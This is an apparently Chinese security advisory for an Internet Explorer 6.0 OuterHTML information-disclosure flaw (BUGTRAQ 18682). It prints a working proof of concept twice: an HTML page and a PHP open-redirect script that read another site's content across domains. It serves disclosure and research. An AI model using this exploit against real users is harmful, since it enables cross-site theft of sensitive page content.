受影响系统：
Microsoft Internet Explorer 6.0
描述：
BUGTRAQ ID:
18682Internet Explorer是微软发布的非常流行的WEB浏览器。
Internet Explorer在处理网页中的OuterHTML对象时存在漏洞，可能导致敏感信息泄露。
如果攻击者向Web Server上传了以下文件的话：
------------------------- i.html -------------------------
<html><body onload="setTimeout('alert(o.object.documentElement.outerHTML)',1000)">
<object width=100 height=100 data=r.php?
http://www.google.com/123456789 type=text/html id=o></object>
</body></html>
------------------------- r.php -------------------------
<?php header("Location: ".$_SERVER["QUERY_STRING"]); ?>
则在IE在打开i.html时就会显示Google Web页面的内容。
<*来源：Plebo Aesdi Nael （
plebo@gmx.net）
链接：
http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20060627/3d930eda/PLEBO-2006.06.16-IE*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
------------------------- i.html -------------------------
<html><body onload="setTimeout('alert(o.object.documentElement.outerHTML)',1000)">
<object width=100 height=100 data=r.php?
http://www.google.com/123456789 type=text/html id=o></object>
</body></html>
------------------------- r.php -------------------------
<?php header("Location: ".$_SERVER["QUERY_STRING"]); ?>
| 网站地图 |